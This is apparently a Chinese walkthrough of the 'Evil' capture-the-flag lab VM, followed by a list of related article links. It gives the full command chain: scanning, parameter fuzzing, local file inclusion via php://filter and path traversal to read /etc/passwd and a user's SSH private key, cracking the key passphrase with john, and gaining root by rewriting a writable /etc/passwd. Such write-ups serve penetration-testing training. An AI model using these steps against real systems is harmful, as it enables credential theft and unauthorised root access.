Evil靶场

Evil

1.主机发现

  • 使用命令探测存活主机,80.139是kali的地址,所以靶机地址就是80.134

    fping -gaq 192.168.80.0/24

2.端口扫描

  • 开放80,22端口

    nmap -Pn -sV -p- -A 192.168.80.134

3.信息收集

  • 访问web界面

  • 路径扫描

    复制代码
    gobuster dir -u http://192.168.80.134 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
  • 访问robots.txt

  • 访问/secret ,发现是空页面

  • 继续对/secret进行路径扫描

    复制代码
    gobuster dir -u http://192.168.80.134/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp 
  • 访问/evil.php,依然返回空页面

  • 尝试对/evil.php的参数进行爆破,并没有探测出参数信息

    复制代码
    ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:KEY -w value.txt:VAL -u http://192.168.80.134/secret/evil.php?KEY=VAL -fs 0
  • 尝试/evil.php是否存在文件包含,目前已知根目录下的robots.txt文件是真实存在的,所以尝试对其再次进行文件包含探测;发现一个command参数

    复制代码
    ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:DIR -u http://192.168.80.134/secret/evil.php?DIR=../robots.txt -fs 0
  • 验证command参数是否真正存在文件包含

4.利用文件包含漏洞

  • 读取/etc/passwd文件

  • 使用PHP协议封装读取evil.php源文件

    复制代码
    /secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
  • 对获得的字符串进行base64解码

    php 复制代码
    <?php
        $filename = $_GET['command'];
        include($filename);
    ?>
  • 尝试写入文件,内容为123的base64编码后的字符串

    复制代码
    /secret/evil.php?command=php://filter/write=convert.base64-decode/resource=glc.php&txt=MTIz
  • 尝试访问刚才写入的文件,发现没有给文件,证明写入失败

5.尝试ssh登录

  • 刚才我们发现没有文件写入权限,那我们就换个思路,还记得我们当时读取的/etc/passwd文件吗,自己研究一下发现了一个mowree用户,尝试对其进行ssh登录

  • 我们发现mowree用户允许公钥和密码登录两种方式

    复制代码
    ssh mowree@192.168.80.134 -v
  • 那我们可以利用文件包含漏洞去读取mowree用户的公私钥文件

    • 公钥文件,发现是rsa加密的

      复制代码
      /secret/evil.php?command=../../../../../../home/mowree/.ssh/authorized_keys
    • 私钥文件

      复制代码
      /secret/evil.php?command=../../../../../../home/mowree/.ssh/id_rsa
  • 查看网站源码,将私钥文件的内容复制到本地,并给文件赋予权限,尝试ssh登录,发现需要passphrase(ssh-key 的密语字符串)

  • 对passphrase进行爆破

    • 将id_rsa文件转换为john命令能够识别的文件

      复制代码
      ./ssh2john.py ~/id_rsa > ~/glc
    • 使用john进行爆破,爆破成功,密码为unicorn

      复制代码
      john glc --wordlist=/usr/share/wordlists/rockyou.txt 

6.获得shell

  • ssh登录mowree用户

  • 拿到第一个flag

7.提权

  • 查看内核版本和发行版本

  • 内核版本4.19.0-17;发行版本 Debian10

  • 使用msf提权发现都提权失败了,有兴趣的可以自己试一下

  • 换个思路,查看存在写权限的文件

    复制代码
    find / -writable 2>/dev/null | grep -v proc
  • 发现对/etc/passwd文件具有写权限,那么问题就变得简单了,直接修改文件中root账号的密码就可以啦

  • 生成一个加密密码,密码为root

    复制代码
    openssl passwd -1
  • 尝试用修改的密码登录root账号,成功提权,获得第二个flag

相关推荐
独行soc5 小时前
2025年渗透测试面试题总结-234(题目+回答)
网络·python·安全·web安全·渗透测试·1024程序员节·安全狮
unable code8 小时前
攻防世界-Misc-SimpleRAR
网络安全·ctf·misc·1024程序员节
Oxo Security9 小时前
【AI安全】检索增强生成(RAG)
人工智能·安全·网络安全·ai
小李独爱秋11 小时前
计算机网络经典问题透视:什么是NAPT?它有哪些特点?
网络·网络协议·计算机网络·网络安全·智能路由器
Whoami!11 小时前
⸢ 拾叁-Ⅱ⸥⤳ 安全水位评估框架(下):安全水位指标
网络安全·信息安全·安全水位指标
知花实央l11 小时前
【Web应用实战】 文件上传漏洞实战:Low/Medium/High三级绕过(一句话木马拿webshell全流程)
前端·学习·网络安全·安全架构
合作小小程序员小小店13 小时前
web安全开发,在线%服务器日志入侵检测%系统安全开发,基于Python,flaskWeb,正则表达式检测,mysql数据库
服务器·python·安全·web安全·flask·安全威胁分析·安全架构
还是奇怪15 小时前
隐藏在字符编码中的陷阱:深入剖析宽字节注入
数据库·sql·安全·web安全
介一安全16 小时前
从 0 到 1 玩转 2025 最新 WebGoat 靶场:环境搭建 + 全关卡漏洞解析(超级详细)
java·web安全·网络安全·靶场
闲人编程1 天前
Python在网络安全中的应用:编写一个简单的端口扫描器
网络·python·web安全·硬件·端口·codecapsule·扫描器